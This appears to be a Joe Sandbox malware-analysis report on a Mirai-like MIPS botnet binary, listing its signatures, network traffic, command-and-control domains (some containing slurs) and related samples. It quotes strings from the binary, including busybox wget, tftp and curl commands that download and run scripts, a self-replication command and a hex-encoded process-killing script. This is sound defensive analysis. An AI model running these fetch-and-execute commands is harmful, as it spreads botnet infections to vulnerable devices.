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Linux Analysis Report
splmpsl.elf

Overview

General Information

Sample name:	splmpsl.elf
Analysis ID:	1543619
MD5:	b442b1930231bd1c03789d32341f686c
SHA1:	733b6ad9c6f1112a6c4dd4b196fd45f68e4a3f77
SHA256:	60e3a3a7ed5603a8e57fcb1c53c11a43f404fbc53006505f0f1572a33aec00ef
Tags:	elfuser-abuse_ch
Infos:

Detection

Score:	56
Range:	0 - 100
Whitelisted:	false

Signatures

Multi AV Scanner detection for submitted file

Connects to many ports of the same IP (likely port scanning)

Sends malformed DNS queries

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

Found strings indicative of a multi-platform dropper

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample listens on a socket

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1543619
Start date and time:	2024-10-28 08:06:17 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 57s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	splmpsl.elf
Detection:	MAL
Classification:	mal56.troj.linELF@0/76@11/0

Warnings

Report size exceeded maximum capacity and may have missing network information.
VT rate limit hit for: splmpsl.elf

Runtime Messages

Command:	/tmp/splmpsl.elf
PID:	5527
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	The Peoples Bank of China.
Standard Error:

Process Tree

system is lnxubuntu20

splmpsl.elf (PID: 5527, Parent: 5447, MD5: 0d6f61f82cf2f781c6eb0661071d42d9) Arguments: /tmp/splmpsl.elf

splmpsl.elf New Fork (PID: 5529, Parent: 5527)

splmpsl.elf New Fork (PID: 5531, Parent: 5529)

splmpsl.elf New Fork (PID: 5533, Parent: 5529)

splmpsl.elf New Fork (PID: 5535, Parent: 5529)

cleanup

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: splmpsl.elf

ReversingLabs: Detection: 42%

Source: splmpsl.elf

String: incorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | shGET /dlr. HTTP/1.0

Source: global traffic	TCP traffic: 192.168.2.15:55978 -> 45.156.86.24:38241
Source: global traffic	TCP traffic: 192.168.2.15:41976 -> 45.156.86.26:38241

Source: unknown	TCP traffic detected without corresponding DNS query: 39.152.149.189
Source: unknown	TCP traffic detected without corresponding DNS query: 39.152.149.189
Source: unknown	TCP traffic detected without corresponding DNS query: 22.114.87.188
Source: unknown	TCP traffic detected without corresponding DNS query: 22.114.87.188
Source: unknown	TCP traffic detected without corresponding DNS query: 90.235.255.32
Source: unknown	TCP traffic detected without corresponding DNS query: 90.235.255.32
Source: unknown	TCP traffic detected without corresponding DNS query: 16.245.209.142
Source: unknown	TCP traffic detected without corresponding DNS query: 75.226.165.78
Source: unknown	TCP traffic detected without corresponding DNS query: 143.213.140.216
Source: unknown	TCP traffic detected without corresponding DNS query: 65.115.209.94
Source: unknown	TCP traffic detected without corresponding DNS query: 188.15.240.208
Source: unknown	TCP traffic detected without corresponding DNS query: 50.66.212.27
Source: unknown	TCP traffic detected without corresponding DNS query: 204.125.133.241
Source: unknown	TCP traffic detected without corresponding DNS query: 98.216.155.102
Source: unknown	TCP traffic detected without corresponding DNS query: 114.117.37.10
Source: unknown	TCP traffic detected without corresponding DNS query: 79.93.215.132
Source: unknown	TCP traffic detected without corresponding DNS query: 108.0.58.188
Source: unknown	TCP traffic detected without corresponding DNS query: 50.74.192.34
Source: unknown	TCP traffic detected without corresponding DNS query: 44.223.38.223
Source: unknown	TCP traffic detected without corresponding DNS query: 2.174.70.243
Source: unknown	TCP traffic detected without corresponding DNS query: 50.188.100.113
Source: unknown	TCP traffic detected without corresponding DNS query: 169.60.12.174
Source: unknown	TCP traffic detected without corresponding DNS query: 52.17.250.118
Source: unknown	TCP traffic detected without corresponding DNS query: 37.71.137.216
Source: unknown	TCP traffic detected without corresponding DNS query: 159.122.147.79
Source: unknown	TCP traffic detected without corresponding DNS query: 5.98.199.21
Source: unknown	TCP traffic detected without corresponding DNS query: 167.154.215.209
Source: unknown	TCP traffic detected without corresponding DNS query: 95.184.56.19
Source: unknown	TCP traffic detected without corresponding DNS query: 36.101.230.246
Source: unknown	TCP traffic detected without corresponding DNS query: 109.70.202.27
Source: unknown	TCP traffic detected without corresponding DNS query: 133.187.59.36
Source: unknown	TCP traffic detected without corresponding DNS query: 15.237.237.21
Source: unknown	TCP traffic detected without corresponding DNS query: 194.223.242.246
Source: unknown	TCP traffic detected without corresponding DNS query: 84.198.54.90
Source: unknown	TCP traffic detected without corresponding DNS query: 103.141.180.67
Source: unknown	TCP traffic detected without corresponding DNS query: 198.115.192.25
Source: unknown	TCP traffic detected without corresponding DNS query: 122.102.251.147
Source: unknown	TCP traffic detected without corresponding DNS query: 149.217.147.128
Source: unknown	TCP traffic detected without corresponding DNS query: 187.95.237.219
Source: unknown	TCP traffic detected without corresponding DNS query: 17.61.244.218
Source: unknown	TCP traffic detected without corresponding DNS query: 155.2.63.17
Source: unknown	TCP traffic detected without corresponding DNS query: 161.190.144.230
Source: unknown	TCP traffic detected without corresponding DNS query: 167.226.2.184
Source: unknown	TCP traffic detected without corresponding DNS query: 181.124.62.202
Source: unknown	TCP traffic detected without corresponding DNS query: 19.131.29.216
Source: unknown	TCP traffic detected without corresponding DNS query: 109.233.93.213
Source: unknown	TCP traffic detected without corresponding DNS query: 218.233.244.110
Source: unknown	TCP traffic detected without corresponding DNS query: 190.131.85.213
Source: unknown	TCP traffic detected without corresponding DNS query: 217.146.26.214
Source: unknown	TCP traffic detected without corresponding DNS query: 221.90.55.146

Source: global traffic	DNS traffic detected: DNS query: burnthe.libre
Source: global traffic	DNS traffic detected: DNS query: netfags.geek. [malformed]
Source: global traffic	DNS traffic detected: DNS query: yellowchink.pirate

Source: splmpsl.elf	String found in binary or memory: http:///curl.sh
Source: splmpsl.elf	String found in binary or memory: http:///wget.sh

Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: usage: busybox
Source: Initial sample	String containing 'busybox' found: /bin/busybox hostname PBOC
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample	String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample	String containing 'busybox' found: /wget.sh -O- \| sh;/bin/busybox tftp -g
Source: Initial sample	String containing 'busybox' found: -r tftp.sh -l- \| sh;/bin/busybox ftpget
Source: Initial sample	String containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep
Source: Initial sample	String containing 'busybox' found: incorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http:///wget.sh -O- \| sh;/bin/busybox tftp -g -r tftp.sh -l- \| sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- \| shGET /dlr. HTTP/1.0
Source: Initial sample	String containing 'busybox' found: > .d/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4

Source: /tmp/splmpsl.elf (PID: 5533)	File opened: /proc/5550/maps	Jump to behavior
Source: /tmp/splmpsl.elf (PID: 5533)	File opened: /proc/5550/cmdline	Jump to behavior
Source: /tmp/splmpsl.elf (PID: 5533)	File opened: /proc/5551/maps	Jump to behavior
Source: /tmp/splmpsl.elf (PID: 5533)	File opened: /proc/5551/cmdline	Jump to behavior
Source: /tmp/splmpsl.elf (PID: 5533)	File opened: /proc/5552/maps	Jump to behavior
Source: /tmp/splmpsl.elf (PID: 5533)	File opened: /proc/5552/cmdline	Jump to behavior
Source: /tmp/splmpsl.elf (PID: 5533)	File opened: /proc/5553/maps	Jump to behavior
Source: /tmp/splmpsl.elf (PID: 5533)	File opened: /proc/5553/cmdline	Jump to behavior
Source: /tmp/splmpsl.elf (PID: 5533)	File opened: /proc/5554/maps	Jump to behavior
Source: /tmp/splmpsl.elf (PID: 5533)	File opened: /proc/5554/cmdline	Jump to behavior
Source: /tmp/splmpsl.elf (PID: 5533)	File opened: /proc/5554/maps	Jump to behavior
Source: /tmp/splmpsl.elf (PID: 5533)	File opened: /proc/5554/cmdline	Jump to behavior
Source: /tmp/splmpsl.elf (PID: 5533)	File opened: /proc/5555/maps	Jump to behavior
Source: /tmp/splmpsl.elf (PID: 5533)	File opened: /proc/5555/cmdline	Jump to behavior
Source: /tmp/splmpsl.elf (PID: 5533)	File opened: /proc/5555/maps	Jump to behavior
Source: /tmp/splmpsl.elf (PID: 5533)	File opened: /proc/5555/cmdline	Jump to behavior
Source: /tmp/splmpsl.elf (PID: 5533)	File opened: /proc/5545/maps	Jump to behavior
Source: /tmp/splmpsl.elf (PID: 5533)	File opened: /proc/5545/cmdline	Jump to behavior
Source: /tmp/splmpsl.elf (PID: 5533)	File opened: /proc/5556/maps	Jump to behavior
Source: /tmp/splmpsl.elf (PID: 5533)	File opened: /proc/5556/cmdline	Jump to behavior
Source: /tmp/splmpsl.elf (PID: 5533)	File opened: /proc/5556/maps	Jump to behavior
Source: /tmp/splmpsl.elf (PID: 5533)	File opened: /proc/5556/cmdline	Jump to behavior
Source: /tmp/splmpsl.elf (PID: 5533)	File opened: /proc/5546/maps	Jump to behavior
Source: /tmp/splmpsl.elf (PID: 5533)	File opened: /proc/5546/cmdline	Jump to behavior
Source: /tmp/splmpsl.elf (PID: 5533)	File opened: /proc/5557/maps	Jump to behavior
Source: /tmp/splmpsl.elf (PID: 5533)	File opened: /proc/5557/cmdline	Jump to behavior
Source: /tmp/splmpsl.elf (PID: 5533)	File opened: /proc/5557/maps	Jump to behavior
Source: /tmp/splmpsl.elf (PID: 5533)	File opened: /proc/5557/cmdline	Jump to behavior
Source: /tmp/splmpsl.elf (PID: 5533)	File opened: /proc/5547/maps	Jump to behavior
Source: /tmp/splmpsl.elf (PID: 5533)	File opened: /proc/5547/cmdline	Jump to behavior
Source: /tmp/splmpsl.elf (PID: 5533)	File opened: /proc/5558/maps	Jump to behavior
Source: /tmp/splmpsl.elf (PID: 5533)	File opened: /proc/5558/cmdline	Jump to behavior
Source: /tmp/splmpsl.elf (PID: 5533)	File opened: /proc/5558/maps	Jump to behavior
Source: /tmp/splmpsl.elf (PID: 5533)	File opened: /proc/5558/cmdline	Jump to behavior
Source: /tmp/splmpsl.elf (PID: 5533)	File opened: /proc/5548/maps	Jump to behavior
Source: /tmp/splmpsl.elf (PID: 5533)	File opened: /proc/5548/cmdline	Jump to behavior
Source: /tmp/splmpsl.elf (PID: 5533)	File opened: /proc/5559/maps	Jump to behavior
Source: /tmp/splmpsl.elf (PID: 5533)	File opened: /proc/5559/cmdline	Jump to behavior
Source: /tmp/splmpsl.elf (PID: 5533)	File opened: /proc/5559/maps	Jump to behavior
Source: /tmp/splmpsl.elf (PID: 5533)	File opened: /proc/5559/cmdline	Jump to behavior
Source: /tmp/splmpsl.elf (PID: 5533)	File opened: /proc/5549/maps	Jump to behavior
Source: /tmp/splmpsl.elf (PID: 5533)	File opened: /proc/5549/cmdline	Jump to behavior

Source: splmpsl.elf, 5527.1.00005570393b3000.000055703943a000.rw-.sdmp, splmpsl.elf, 5531.1.00005570393b3000.000055703943a000.rw-.sdmp	Binary or memory string: <9pU!/etc/qemu-binfmt/mipsel
Source: splmpsl.elf, 5527.1.00005570393b3000.000055703943a000.rw-.sdmp, splmpsl.elf, 5531.1.00005570393b3000.000055703943a000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/mipsel
Source: splmpsl.elf, 5527.1.00007ffd1d13f000.00007ffd1d160000.rw-.sdmp, splmpsl.elf, 5531.1.00007ffd1d13f000.00007ffd1d160000.rw-.sdmp	Binary or memory string: -Gjx86_64/usr/bin/qemu-mipsel/tmp/splmpsl.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/splmpsl.elf
Source: splmpsl.elf, 5527.1.00007ffd1d13f000.00007ffd1d160000.rw-.sdmp, splmpsl.elf, 5531.1.00007ffd1d13f000.00007ffd1d160000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-mipsel

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Scripting	Path Interception	Direct Volume Access	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Non-Standard Port	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact

Name	IP	Active	Malicious	Reputation
yellowchink.pirate	45.156.86.24	true	true	unknown
burnthe.libre	45.156.86.24	true	true	unknown
netfags.geek. [malformed]	unknown	unknown	true	unknown

Name	Source	Malicious	Antivirus Detection	Reputation
http:///wget.sh	splmpsl.elf	false		unknown
http:///curl.sh	splmpsl.elf	false		unknown

IP	Domain	Country	ASN	ASN Name	Malicious
117.82.90.201	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
44.4.127.229	unknown	United States	13925	NULLROUTEUS	false
100.167.118.181	unknown	United States	21928	T-MOBILE-AS21928US	false
35.231.81.155	unknown	United States	15169	GOOGLEUS	false
128.190.176.87	unknown	United States	1503	DNIC-AS-01503US	false
143.9.154.30	unknown	United States	11003	PANDGUS	false
15.16.109.68	unknown	United States	13979	ATT-IPFRUS	false
100.164.116.103	unknown	United States	21928	T-MOBILE-AS21928US	false
21.59.94.139	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
90.130.93.195	unknown	Sweden	1257	TELE2EU	false
115.58.231.146	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
71.44.35.67	unknown	United States	33363	BHN-33363US	false
6.171.165.114	unknown	United States	3356	LEVEL3US	false
71.207.48.191	unknown	United States	7922	COMCAST-7922US	false
72.41.53.200	unknown	United States	33070	RMH-14US	false
57.88.93.123	unknown	Belgium	51964	ORANGE-BUSINESS-SERVICES-IPSN-ASNFR	false
130.159.39.57	unknown	United Kingdom	786	JANETJiscServicesLimitedGB	false
11.147.219.159	unknown	United States	3356	LEVEL3US	false
96.144.9.108	unknown	United States	7922	COMCAST-7922US	false
125.226.108.146	unknown	Taiwan; Republic of China (ROC)	3462	HINETDataCommunicationBusinessGroupTW	false
82.83.240.84	unknown	Germany	3209	VODANETInternationalIP-BackboneofVodafoneDE	false
121.210.4.67	unknown	Australia	1221	ASN-TELSTRATelstraCorporationLtdAU	false
156.238.82.98	unknown	Seychelles	134548	DXTL-HKDXTLTseungKwanOServiceHK	false
198.135.97.170	unknown	United States	109	CISCOSYSTEMSUS	false
221.49.223.22	unknown	Japan	17676	GIGAINFRASoftbankBBCorpJP	false
113.166.232.249	unknown	Viet Nam	45899	VNPT-AS-VNVNPTCorpVN	false
68.60.197.76	unknown	United States	7922	COMCAST-7922US	false
82.161.146.167	unknown	Netherlands	3265	XS4ALL-NLAmsterdamNL	false
194.87.107.181	unknown	Russian Federation	197695	AS-REGRU	false
195.125.104.169	unknown	Germany	702	UUNETUS	false
14.218.134.232	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
43.113.48.206	unknown	Japan	4249	LILLY-ASUS	false
22.87.1.44	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
177.108.184.56	unknown	Brazil	26615	TIMSABR	false
93.224.1.238	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
223.191.232.69	unknown	India	45609	BHARTI-MOBILITY-AS-APBhartiAirtelLtdASforGPRSService	false
223.189.214.199	unknown	India	45609	BHARTI-MOBILITY-AS-APBhartiAirtelLtdASforGPRSService	false
152.171.147.125	unknown	Argentina	10318	TelecomArgentinaSAAR	false
173.12.103.68	unknown	United States	7922	COMCAST-7922US	false
65.225.245.250	unknown	United States	701	UUNETUS	false

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
burnthe.libre	nabarm7.elf	Get hash	malicious	Unknown	Browse	45.156.86.24
	splspc.elf	Get hash	malicious	Unknown	Browse	45.156.86.24
	splx86.elf	Get hash	malicious	Unknown	Browse	45.156.86.24
yellowchink.pirate	nabarm7.elf	Get hash	malicious	Unknown	Browse	45.156.86.24
	splarm7.elf	Get hash	malicious	Unknown	Browse	45.156.86.26
	nabppc.elf	Get hash	malicious	Unknown	Browse	45.156.86.24
	splspc.elf	Get hash	malicious	Unknown	Browse	45.156.86.24

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
NULLROUTEUS	la.bot.arm.elf	Get hash	malicious	Unknown	Browse	44.4.116.11
	T57QiayIem.elf	Get hash	malicious	Unknown	Browse	44.4.68.199
	4dW63OK85H.elf	Get hash	malicious	Mirai, Moobot	Browse	44.4.68.184
	x86.elf	Get hash	malicious	Unknown	Browse	44.4.68.166
	Y7PCXwm5rd	Get hash	malicious	Mirai	Browse	44.4.68.150
	lessie.arm	Get hash	malicious	Mirai	Browse	44.4.68.184
PANDGUS	splmips.elf	Get hash	malicious	Unknown	Browse	143.9.117.70
	ppc.elf	Get hash	malicious	Unknown	Browse	143.2.163.60
	nabspc.elf	Get hash	malicious	Unknown	Browse	143.31.96.164
	nklmpsl.elf	Get hash	malicious	Unknown	Browse	143.4.218.225
	boatnet.ppc.elf	Get hash	malicious	Mirai	Browse	137.182.82.252
	nabarm7.elf	Get hash	malicious	Unknown	Browse	137.183.205.21
	nklppc.elf	Get hash	malicious	Unknown	Browse	151.216.161.137
	nklarm5.elf	Get hash	malicious	Unknown	Browse	137.182.240.90
	sh4.elf	Get hash	malicious	Unknown	Browse	151.212.227.71
	spc.elf	Get hash	malicious	Mirai	Browse	151.222.212.210
T-MOBILE-AS21928US	splsh4.elf	Get hash	malicious	Unknown	Browse	100.240.232.0
	splx86.elf	Get hash	malicious	Unknown	Browse	172.34.102.8
	jklx86.elf	Get hash	malicious	Unknown	Browse	100.158.41.163
	nklmpsl.elf	Get hash	malicious	Unknown	Browse	100.128.243.208
	nklarm.elf	Get hash	malicious	Unknown	Browse	172.53.158.213
	la.bot.mips.elf	Get hash	malicious	Unknown	Browse	100.209.80.146
	bin.sh.elf	Get hash	malicious	Mirai	Browse	162.166.111.6
	m68k.elf	Get hash	malicious	Mirai, Moobot	Browse	100.140.88.207
	la.bot.arm.elf	Get hash	malicious	Unknown	Browse	100.162.52.68
	nklx86.elf	Get hash	malicious	Unknown	Browse	100.144.52.190
DNIC-AS-01503US	spc.elf	Get hash	malicious	Mirai, Moobot	Browse	128.191.167.124
	la.bot.sh4.elf	Get hash	malicious	Unknown	Browse	128.190.63.218
	9wmt6bpcHr.elf	Get hash	malicious	Okiru	Browse	140.183.10.38
	na.elf	Get hash	malicious	Unknown	Browse	140.183.152.223
	hPIF0APgJk.elf	Get hash	malicious	Unknown	Browse	55.196.196.197
	na.elf	Get hash	malicious	Unknown	Browse	128.190.164.76
	nNNceyj62M.elf	Get hash	malicious	Unknown	Browse	55.199.176.58
	mirai.m68k.elf	Get hash	malicious	Mirai	Browse	160.145.60.237
	skid.mips.elf	Get hash	malicious	Mirai, Moobot	Browse	128.191.225.225
	g4KkNl0StO.elf	Get hash	malicious	Unknown	Browse	160.147.201.112
CHINANET-BACKBONENo31Jin-rongStreetCN	jklmips.elf	Get hash	malicious	Unknown	Browse	110.84.156.0
	nabarm7.elf	Get hash	malicious	Unknown	Browse	116.31.241.79
	splarm7.elf	Get hash	malicious	Unknown	Browse	222.211.202.138
	nabppc.elf	Get hash	malicious	Unknown	Browse	171.220.161.230

Process:	/tmp/splmpsl.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	3.16296890781198
Encrypted:	false
SSDEEP:	6:URYNDFAz/VUR4DF6mHT/VLV//VDM/V+4D/VH:IYttRwomHzVMfF
MD5:	8550F4D92594829BA97081B080116B08
SHA1:	5D3052AD643160CE5E2DB3B7974547F558F5DA43
SHA-256:	1237766F8EA36E4C9E553DF8D05131085C73A99ADC417441A040AD9631DEBA5D
SHA-512:	93745929B699BB3F5D7C6D6D8534A498A30DE5A7C342A5455D43F356078701EEF92448D890D3F9395C3FB4F1CA2221BA2EA3D27434F6ED979F3D638CB3C80BF3
Malicious:	false
Reputation:	low
Preview:	400000-414000 r-xp 00000000 fd:00 531606 /tmp/..454000-455000 rw-p 00014000 fd:00 531606 /tmp/..455000-457000 rw-p 00000000 00:00 0 .457000-458000 rw-p 00000000 00:00 0 .7f7ff000-7f800000 ---p 00000000 00:00 0 .7f800000-80000000 rw-p 00000000 00:00 0 [stack].

File type:	ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped
Entropy (8bit):	5.470591452203085
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	splmpsl.elf
File size:	84'256 bytes
MD5:	b442b1930231bd1c03789d32341f686c
SHA1:	733b6ad9c6f1112a6c4dd4b196fd45f68e4a3f77
SHA256:	60e3a3a7ed5603a8e57fcb1c53c11a43f404fbc53006505f0f1572a33aec00ef
SHA512:	587d2c05a4f4f2e7d2d8827aeb443031dbe53ce8f1a9b68886656f3561d57f2949fdcf427aa123d5f0cbce6d61d9eec78a1f7429c412042fee3c2658a616c5f8
SSDEEP:	1536:wyNJsx2Y2NlcK4BWthcyRTWKemYd0iiHLXCE5nI8sR:wy74b2NOK4WzNPj5nI
TLSH:	A183A34A7F254FF7DC5FCC3B45BA5B0128CC950A21A43B7A6D70E808F65B25F1AA3864
File Content Preview:	.ELF....................`.@.4....F......4. ...(...............@...@..8...8...............@...@E..@E.\...8...........Q.td...............................<...'!......'.......................<...'!... .........9'.. ........................<...'!............'9

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	MIPS R3000
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x400260
Flags:	0x1007
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	83656
Section Header Size:	40
Number of Section Headers:	15
Header String Table Index:	14

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x400094	0x94	0x8c	0x0	0x6	AX	4
.text	PROGBITS	0x400120	0x120	0x12740	0x0	0x6	AX	16
.fini	PROGBITS	0x412860	0x12860	0x5c	0x0	0x6	AX	4
.rodata	PROGBITS	0x4128c0	0x128c0	0x1020	0x0	0x2	A	16
.ctors	PROGBITS	0x454000	0x14000	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x454008	0x14008	0x8	0x0	0x3	WA	4
.jcr	PROGBITS	0x454010	0x14010	0x4	0x0	0x3	WA	4
.data.rel.ro	PROGBITS	0x454014	0x14014	0xe0	0x0	0x3	WA	4
.data	PROGBITS	0x454100	0x14100	0x190	0x0	0x3	WA	16
.got	PROGBITS	0x454290	0x14290	0x3cc	0x4	0x10000003	WAp	16
.sbss	NOBITS	0x45465c	0x1465c	0x20	0x0	0x10000003	WAp	4
.bss	NOBITS	0x454680	0x1465c	0x11b8	0x0	0x3	WA	16
.mdebug.abi32	PROGBITS	0x774	0x1465c	0x0	0x0	0x0		1
.shstrtab	STRTAB	0x0	0x1465c	0x69	0x0	0x0		1

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x400000	0x400000	0x138e0	0x138e0	5.5739	0x5	R E	0x10000	.init .text .fini .rodata
LOAD	0x14000	0x454000	0x454000	0x65c	0x1838	3.6998	0x6	RW	0x10000	.ctors .dtors .jcr .data.rel.ro .data .got .sbss .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 28, 2024 08:07:06.214164972 CET	192.168.2.15	185.181.61.24	0xe065	Standard query (0)	burnthe.libre	A (IP address)	IN (0x0001)	false
Oct 28, 2024 08:07:08.358293056 CET	192.168.2.15	185.181.61.24	0xd857	Standard query (0)	netfags.geek. [malformed]	256	284	false
Oct 28, 2024 08:07:19.818079948 CET	192.168.2.15	152.53.15.127	0x5687	Standard query (0)	burnthe.libre	A (IP address)	IN (0x0001)	false
Oct 28, 2024 08:07:31.678739071 CET	192.168.2.15	152.53.15.127	0x7d3	Standard query (0)	netfags.geek. [malformed]	256	307	false
Oct 28, 2024 08:07:43.541985989 CET	192.168.2.15	168.235.111.72	0x4b15	Standard query (0)	yellowchink.pirate	A (IP address)	IN (0x0001)	false
Oct 28, 2024 08:07:55.480220079 CET	192.168.2.15	51.158.108.203	0xee6c	Standard query (0)	netfags.geek. [malformed]	256	331	false
Oct 28, 2024 08:08:07.365812063 CET	192.168.2.15	152.53.15.127	0x8335	Standard query (0)	burnthe.libre	A (IP address)	IN (0x0001)	false
Oct 28, 2024 08:08:19.224184990 CET	192.168.2.15	168.235.111.72	0xa8b4	Standard query (0)	burnthe.libre	A (IP address)	IN (0x0001)	false
Oct 28, 2024 08:08:30.851735115 CET	192.168.2.15	194.36.144.87	0x98cb	Standard query (0)	burnthe.libre	A (IP address)	IN (0x0001)	false
Oct 28, 2024 08:08:42.713270903 CET	192.168.2.15	185.181.61.24	0xdf91	Standard query (0)	netfags.geek. [malformed]	256	378	false
Oct 28, 2024 08:08:54.596738100 CET	192.168.2.15	194.36.144.87	0xcea9	Standard query (0)	yellowchink.pirate	A (IP address)	IN (0x0001)	false

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 28, 2024 08:07:07.293107033 CET	185.181.61.24	192.168.2.15	0xe065	No error (0)	burnthe.libre		45.156.86.24	A (IP address)	IN (0x0001)	false
Oct 28, 2024 08:07:19.831456900 CET	152.53.15.127	192.168.2.15	0x5687	No error (0)	burnthe.libre		45.156.86.26	A (IP address)	IN (0x0001)	false
Oct 28, 2024 08:07:19.831456900 CET	152.53.15.127	192.168.2.15	0x5687	No error (0)	burnthe.libre		45.156.86.24	A (IP address)	IN (0x0001)	false
Oct 28, 2024 08:07:31.689966917 CET	152.53.15.127	192.168.2.15	0x7d3	Format error (1)	netfags.geek. [malformed]	none	none	256	307	false
Oct 28, 2024 08:07:43.629611015 CET	168.235.111.72	192.168.2.15	0x4b15	No error (0)	yellowchink.pirate		45.156.86.24	A (IP address)	IN (0x0001)	false
